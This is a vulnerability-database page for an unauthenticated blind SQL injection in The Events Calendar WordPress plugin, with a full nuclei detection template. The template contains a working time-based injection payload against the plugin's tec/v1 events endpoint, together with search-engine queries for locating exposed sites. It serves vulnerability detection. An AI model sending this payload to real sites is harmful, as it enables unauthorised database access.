Browse / CVEs / CVE-2026-49772
CVE-2026-49772· theeventscalendar / the events calendar· CWE-89
The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection
criticalseverity
9.3CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it
The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
Impact
Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.
Fix
Upgrade to a version later than 6.16.2 or the latest available version.
How to confirm it
Send: GET /wp-content/plugins/the-events-calendar/readme.txt
Positive when: compare_versions(version, ">= 6.15.12, < 6.16.3")
Send: @timeout: 20s
Positive when: status_code == 200 and duration >= 6Run it with nuclei: nuclei -id CVE-2026-49772 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-49772
info:
name: The Events Calendar 6.15.12 - 6.16.2 - Unauthenticated Blind SQL Injection
author: HaroonArshad-53
severity: critical
description: |
The Events Calendar WordPress plugin versions 6.15.12 through 6.16.2 do not properly validate the order parameter of the experimental tec/v1 REST events endpoint, allowing unauthenticated attackers to run blind SQL queries and extract arbitrary database contents.
impact: |
Attackers can execute arbitrary SQL queries, potentially leading to data disclosure or modification.
remediation: |
Upgrade to a version later than 6.16.2 or the latest available version.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-49772
- https://github.com/joshuavanderpoll/CVE-2026-49772
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
cvss-score: 9.3
cve-id: CVE-2026-49772
epss-score: 0.01937
epss-percentile: 0.80258
cwe-id: CWE-89
metadata:
max-request: 2
vendor: theeventscalendar
product: the_events_calendar
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/the-events-calendar/"
fofa-query: body="/wp-content/plugins/the-events-calendar/"
tags: cve,cve2026,wordpress,wp-plugin,sqli,blind,unauth,time-based-sqli,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/the-events-calendar/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- compare_versions(version, ">= 6.15.12, < 6.16.3")
internal: true
extractors:
- type: regex
name: version
part: body
internal: true
group: 1
regex:
- "Stable tag: ([0-9.]+)"
- raw:
- |
@timeout: 20s
GET /wp-json/tec/v1/events?orderby=event_date&order=ASC%2C(SELECT%20CASE%20WHEN%20(1%3D1)%20THEN%20SLEEP(6)%20ELSE%200%20END) HTTP/1.1
Host: {{Hostname}}
X-TEC-EEA: I understand that this endpoint is experimental and may change in a future release without maintaining backward compatibility. I also understand that I am using this endpoint at my own risk, while support is not provided for it.
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "duration >= 6"
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from